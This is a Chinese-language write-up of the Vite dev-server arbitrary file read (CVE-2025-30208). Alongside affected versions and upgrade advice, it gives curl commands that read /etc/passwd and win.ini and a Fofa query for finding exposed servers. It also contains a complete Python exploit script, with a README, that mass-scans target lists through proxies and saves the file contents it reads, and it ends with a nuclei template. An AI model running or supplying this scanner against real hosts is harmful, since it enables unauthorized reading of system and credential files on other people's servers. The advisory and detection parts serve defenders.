Skip to content

漏洞分析

漏洞描述

Vite是一款流行的前端开发工具,但在以下版本中存在一个安全漏洞:

  • 6.2.3 之前版本
  • 6.1.2 之前版本
  • 6.0.12 之前版本
  • 5.4.15 之前版本
  • 4.5.10 之前版本
    问题:在这些版本中,Vite的文件系统模块@fs存在安全漏洞,允许攻击者绕过文件访问限制,访问服务器上的任意文件。

漏洞原因

攻击者可以通过在URL中添加特定的查询参数(如“?生的?”或“?进口和原料??”)来绕过Vite的服务允许列表限制,访问服务器上的任意文件。其原因在于:

  • 尾随分隔符“?”在多个处理环节中被错误地删除。
  • 查询字符串的正则表达式并未考虑这一情况。
  • 导致安全检查失效,允许任意文件内容返回到浏览器。

影响范围

此漏洞的影响范围包括以下版本:

plain
6.2.0 <= version <= 6.2.2
6.1.0 <= version <= 6.1.1
6.0.0 <= version <= 6.0.11
5.0.0 <= version <= 5.4.14
version <= 4.5.9

特别注意:只有显式暴露Vite dev服务器到网络(使用--hostserver.host配置选项)的应用程序才会受到影响。

修复建议

为了修复此漏洞,建议升级到以下安全版本:

plain
version >= 6.2.3
6.1.2 <= version < 6.2.0
6.0.12 <= version < 6.1.0
5.4.15 <= version < 6.0.0
4.5.10 <= version < 5.0.0

升级后,可以有效修复漏洞,防止攻击者通过上述方式绕过文件访问限制。

注意事项

  • 优先升级:建议所有使用受影响版本的用户尽快升级到修复版本,以避免潜在的安全威胁。
  • 配置检查:检查当前Vite配置,确保开发服务器未显式暴露在公共网络中,或在升级前限制访问权限。
  • 定期更新:保持对Vite和其他开发工具的关注,及时应用安全更新,以防止类似问题再次出现。
    通过以上措施,可以有效应对此漏洞,保障开发环境的安全性。

漏洞复现

plain
Windows:curl "http://localhost:5173/@fs/C://windows/win.ini?import&raw??"
Linux:curl "http://localhost:5173/@fs/etc/passwd?import&raw??"

Fofa测绘语句

plain
body="/@vite/client"

EXP

plain
import requests
import argparse
import urllib3
import concurrent.futures
import re
import time
from urllib.parse import urljoin
from colorama import Fore, Style, init

# 初始化 colorama(使其在 Windows 中也能支持颜色)
init(autoreset=True)

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 最大重试次数
RETRY_LIMIT = 3

def sanitize_filename(url):
    """ 清理 URL 作为文件名,防止非法字符 """
    safe_name = re.sub(r'[^\w\-]', '_', url)  # 替换非法字符
    safe_name = re.sub(r'_+', '_', safe_name)  # 去重 `_`
    safe_name = safe_name.strip('_')  # 移除开头/结尾的 `_`
    return safe_name

def fetch_url(url, proxy, retries=0):
    """ 访问 URL,支持重试 """
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        response = requests.get(url, timeout=5, verify=False, proxies=proxies, allow_redirects=False)
        if response.status_code == 200:
            return response.text
        else:
            print(f"[FAIL] {url} returned {response.status_code}")
            return None
    except requests.exceptions.ConnectionError:
        if retries < RETRY_LIMIT:
            wait_time = 2 ** retries  # 指数退避
            print(f"[ERROR] Connection error to {url} - Retrying in {wait_time}s...")
            time.sleep(wait_time)
            return fetch_url(url, proxy, retries + 1)
        else:
            print(f"[ERROR] Connection error to {url} after {RETRY_LIMIT} retries")
            return None
    except requests.exceptions.RequestException:
        if retries < RETRY_LIMIT:
            wait_time = 2 ** retries  # 指数退避
            print(f"[ERROR] Request error to {url} - Retrying in {wait_time}s...")
            time.sleep(wait_time)
            return fetch_url(url, proxy, retries + 1)
        else:
            print(f"[ERROR] Request error to {url} after {RETRY_LIMIT} retries")
            return None

def extract_usernames(content):
    """ 从 /etc/passwd 内容中提取用户名(正则表达式匹配每行第一个冒号前的部分) """
    usernames = re.findall(r'^([a-zA-Z0-9_-]+):', content, re.MULTILINE)
    return usernames

def check_path(base_url, path, proxy, output_file):
    """
    对单个路径同时拼接两种 URL:
    1. ?raw
    2. ?import&raw??
    只要有一种返回成功,就视为 SUCCESS
    """
    url1 = urljoin(base_url, path) + "?raw"
    url2 = urljoin(base_url, path) + "?import&raw??"
    
    # 使用内部线程池同时发起两个请求
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as inner_executor:
        future1 = inner_executor.submit(fetch_url, url1, proxy)
        future2 = inner_executor.submit(fetch_url, url2, proxy)
        content1 = future1.result()
        content2 = future2.result()
    
    # 如果任一请求成功,则认为成功
    if content1 or content2:
        url_success = url1 if content1 else url2
        content_success = content1 if content1 else content2
        print(f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {url_success}")
        if output_file:
            output_file.write(f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {url_success}\n")
            output_file.write(content_success + "\n")
        return url_success
    else:
        print(f"[FAIL] {url1} and {url2} did not return expected content")
        return None

def check_url(base_url, paths, proxy, output_file):
    """ 对 base_url 下的所有路径进行检测 """
    results = []
    with concurrent.futures.ThreadPoolExecutor() as executor:
        future_to_path = {executor.submit(check_path, base_url, path, proxy, output_file): path for path in paths}
        for future in concurrent.futures.as_completed(future_to_path):
            res = future.result()
            if res:
                results.append(res)
    return results

def check_urls_from_file(file_path, paths, proxy):
    """ 读取 URL 文件,并使用线程池并发检查 """
    with open(file_path, 'r') as file:
        links = [line.strip() for line in file.readlines()]

    print(f"[INFO] Processing {len(links)} base URLs concurrently.")

    # 打开 output.txt 文件(追加模式)
    with open("output.txt", "a") as output_file:
        results = []
        with concurrent.futures.ThreadPoolExecutor() as executor:
            future_to_link = {executor.submit(check_url, link, paths, proxy, output_file): link for link in links}
            for future in concurrent.futures.as_completed(future_to_link):
                res = future.result()
                if res:
                    results.extend(res)
    return results

def check_urls_from_dict(paths, proxy):
    """ 仅使用 -d 参数时,直接检查路径字典 """
    print(f"[INFO] Processing {len(paths)} paths concurrently.")
    
    results = []
    with open("output.txt", "a") as output_file:
        with concurrent.futures.ThreadPoolExecutor() as executor:
            future_to_path = {executor.submit(fetch_url, path, proxy): path for path in paths}
            for future in concurrent.futures.as_completed(future_to_path):
                path = future_to_path[future]
                content = future.result()
                if content:
                    if "/etc/passwd" in path:
                        print(f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {path}")
                    elif "export default" in content:
                        result = f"[{Fore.RED}SUCCESS{Style.RESET_ALL}] {path}"
                        print(result)
                        output_file.write(result + "\n")
                        output_file.write(content + "\n")
                        results.append(result)
                    else:
                        print(f"[FAIL] {path} does not contain expected content")
    return results

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Batch check access to multiple paths on multiple links")
    parser.add_argument("-f", "--file", help="File containing base links")
    parser.add_argument("-u", "--url", help="Target URL")
    parser.add_argument("-p", "--payload", default='/etc/passwd', help="Target file path")
    parser.add_argument("-d", "--dict", help="File containing list of paths to append to base URL")
    parser.add_argument("--proxy", help="Proxy server (e.g., http://proxy:port)")
    args = parser.parse_args()

    paths = []
    if args.dict:
        with open(args.dict, 'r') as dict_file:
            paths = [line.strip() for line in dict_file.readlines()]
    else:
        paths.append(args.payload)

    # 处理单个 URL
    if args.url:
        check_url(args.url, paths, args.proxy, None)
    # 处理多个 URL
    elif args.file:
        check_urls_from_file(args.file, paths, args.proxy)
    # 处理 -d 参数,单独加速路径检查
    elif args.dict:
        check_urls_from_dict(paths, args.proxy)
    else:
        print("Usage: python3 script.py -h")
plain
requests>=2.26.0
colorama>=0.4.4
urllib3>=1.26.7
plain
## CVE-2025-30208-EXP

Vite开发服务器任意文件读取漏洞(CVE-2025-30208),漏洞覆盖面大,利用简单且不受限制,漏洞危害巨大!

Fofa测绘语句:

body="/@vite/client"


鹰图Hunter测绘语句:

web.body="/@vite/client"


## Exp脚本使用方法

-u 进行检测

-p 自定义payload eg. /etc/passwd

-d 可以使用字典进行fuzz测试


### 不走代理使用本Exp

python3 Vite-CVE-2025-30208-EXP.py -f ip.txt


### 走HTTP代理使用本Exp

python3 Vite-CVE-2025-30208-EXP.py -f ip.txt --proxy http://127.0.0.1:8080


**注意!本项目非Poc,请在遵守免责声明的情况下使用!**

本项目将尝试对目标的 `/etc/passwd` ,进行检测是否存在任意文件读取,可以使用-p 指定想要读取的文件路径,-d 指定想要的fuzz字典

如果觉得不错欢迎给我点个Star😋

扫描结果将会匹配到的账号密码保存在 `output.txt` 中,其中 `IP.txt` 格式为 `http://[ip]/[domain]`,一行一个

## 免责声明

1. 如果您下载、安装、使用、修改本工具及相关代码,即表明您信任本工具
2. 在使用本工具时造成对您自己或他人任何形式的损失和伤害,我们不承担任何责任
3. 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任
4. 请您务必审慎阅读、充分理解各条款内容,特别是免除或者限制责任的条款,并选择接受或不接受
5. 除非您已阅读并接受本协议所有条款,否则您无权下载、安装或使用本工具
6. 您的下载、安装、使用等行为即视为您已阅读并同意上述协议的约束

nuclei-poc

yaml
id: CVE-2025-30208

info:
  name: Vite Arbitrary File Read (CVE-2025-30208)
  author: ziye  
  severity: high
  description: |
    Vite development server allows arbitrary file reads via the `@fs/` prefix.
    Attackers can read sensitive files such as `/etc/passwd` or `C:\\windows\\win.ini`.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-30208
  tags: lfi, vite, web, cve2025

requests:
  - method: GET
    path:
      - "{{BaseURL}}/@fs/etc/passwd?import&raw??"
      - "{{BaseURL}}/@fs/C://windows/win.ini?import&raw??"
    matchers:
      - type: word
        words:
          - "root:x:"  # Linux passwd 文件的典型特征
        condition: or
      - type: word
        words:
          - "for 16-bit app support"  # Windows win.ini 文件的典型特征
        condition: or